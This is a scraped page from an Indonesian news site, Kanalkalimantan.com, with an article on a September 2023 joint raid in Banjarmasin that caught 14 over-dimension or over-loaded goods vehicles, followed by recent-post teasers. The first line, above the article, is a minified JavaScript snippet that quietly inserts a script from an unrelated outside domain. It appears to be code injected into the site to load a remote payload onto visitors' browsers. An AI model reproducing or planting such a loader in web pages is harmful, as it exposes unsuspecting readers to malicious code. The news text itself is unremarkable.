(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Razia ODOL di Banjarmasin Jaring 14 Pelanggar


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perhubungan (Dishub) Kota Banjarmasin bersama Satuan Lalu Lintas (Satlantas) Polresta Banjarmasin gelar razia mobil angkutan barang, Selasa (12/9/2023) siang.

Operasi berlangsung di jalan H Anang Adenansi atau depan Taman Kamboja Banjarmasin itu memeriksa kelaikan mobil angkutan barang serta memeriksa surat-surat kendaraan.

Kepala Seksi Lalu Lintas Angkutan Jalan (LLAJ) Dishub Banjarmasin Hendra ST mengatakan, hasil operasi didapati sebanyak 14 mobil angkutan yang terjaring razia.

Baca juga: 19 Aset Sindikat Narkoba Internasional Fredy Pratama Disita di Banjarmasin

“Mulai roda empat dan roda enam, hingga yang dinyatakan tidak laik jalan karena surat menyurat KIR-nya sudah tidak berlaku hingga tidak punya KIR,” ungkapnya.

Hendra berharap dengan rutin dilaksanakan razia, dapat meminimalisir pelanggaran angkutan barang yang masuk wilayah Banjarmasin.

“Kita berharap angkutan barang di Kota Banjarmasin bisa menjadi lebih tertib dan laik jalan dan ukuran dimensinya yang dibawa mobil angkutannya sesuai,” harapnya.

Baca jua: Pemprov Kalsel Targetkan GOR Indoor Selesai 15 Desember 2023

KBO Satlantas Polresta Banjarmasin Iptu Sunaryanto mengatakan, operasi gabungan juga digelar untuk mensosialisasikan Perwali Nomor 8 Tahun 2022 tentang jam operasional masuk kota serta Undang-Undang Lalu Lintas pasal 288 ayat 3 tentang Over Dimension dan Over Loading.

Hasil giat di jalan Anang Adenansi tidak ditemukan kendaraan angkutan barang yang melanggar jam operasional masuk kota.

“Tapi masih ada beberapa angkutan barang yang melanggar terkait muatan yang dibawanya dan surat-menyurat kendaraannya tidak berlaku,” ungkapnya.

Baca juga: BPBD Banjar Pelatihan Katana di Martapura Barat

Sekada diketahui, mobil angkutan Over Dimension dan Over Load (ODOL) merupakan mobil yang memiliki ukuran panjang, lebar dan tinggi melebihi standar sesuai dengan jenis kendaraan dan ketentuan yang berlaku.

Sementara itu, kendaraan over loading adalah mobil angkutan barang yang mengangkut barang dengan tonase yang berlebih dari standar dan ketentuan yang berlaku. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

4 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

6 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

7 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

21 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

23 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

1 hari ago

This website uses cookies.